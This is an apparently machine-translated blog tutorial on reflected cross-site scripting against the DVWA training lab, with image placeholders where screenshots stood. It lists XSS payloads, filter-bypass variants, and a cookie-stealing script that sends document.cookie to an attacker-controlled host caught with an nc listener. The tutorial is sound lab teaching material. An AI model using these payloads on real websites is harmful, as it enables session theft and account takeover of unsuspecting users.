DVWA's XSS cross-site scripting attack (reflection type)

DVWA's XSS cross-site scripting attack (reflection type)

Environment and principles

Environment: kali linux, dvwa, attacking machine (win10), attacked machine (win xp)

principle

1. Popup
Insert picture description here
2. Redirect
Insert picture description here3. Get cookie
Insert picture description here

low class

One, pop-up window

js malicious code:

# 直接嵌入
<script>alert('xss')</script>
# 元素事件
<body onload = alert('xss')>

<img src = '' onerror = alert('xss')>

<a href = '' onclick = alert('xss')>type</a>

Insert malicious code.
Insert picture description here
Return to the page where the malicious code is inserted.
Insert picture description here
Send the URL to the attacked person. The attacked person opens the page and triggers XSS
Insert picture description here

Two, redirect

js malicious code:

<script>window.location = "http://www.baidu.com"</script>

Return to the js page and send it to the attacked: the
Insert picture description here
Insert picture description hereattacker opens the url:
Insert picture description herea redirect occurs
Insert picture description here

Three, get cookies

js malicious code:

<script>alert(document.cookie)</script>

<script src='http://xxxxx/a.js'></script>

Create a.js file in the /var/www/html/ directory of kaili linux, the content is:

var img = new Image();
img.src='http://ip地址:端口/cookie.php?cookie='+document.cookie;

Insert picture description hereInsert malicious code, return to the page, and use the attacked machine to access the URL
Insert picture description here

Open kalil inux, use nc -vnlp 88 to monitor port 88 :
Insert picture description here
return cookie
Insert picture description here

Intermediate

Source code: The <script> tag is filtered.

Insert picture description hereYou can use other tags to touch XSS; or use mixed case to bypass.

<sCriPt>alert('xss')</script>

Double write bypass

<sc<script>ript>alert('xss')</script>

Insert picture description here
Successful touch:
Insert picture description here

High level

Source code: Regular matching and filtering of <script> tags.
Insert picture description here
Use other tags to bypass:

<body onload = alert('xss')>

<img src = '' onerror = alert('xss')>

<a href = '' onclick = alert('xss')>type</a>

Insert picture description here

Insert picture description here
Insert picture description here

DVWA's XSS cross-site scripting attack (DOM type) .

DVWA's XSS cross-site scripting attack (stored type) .

Guess you like

Origin blog.csdn.net/qq_45742511/article/details/113182178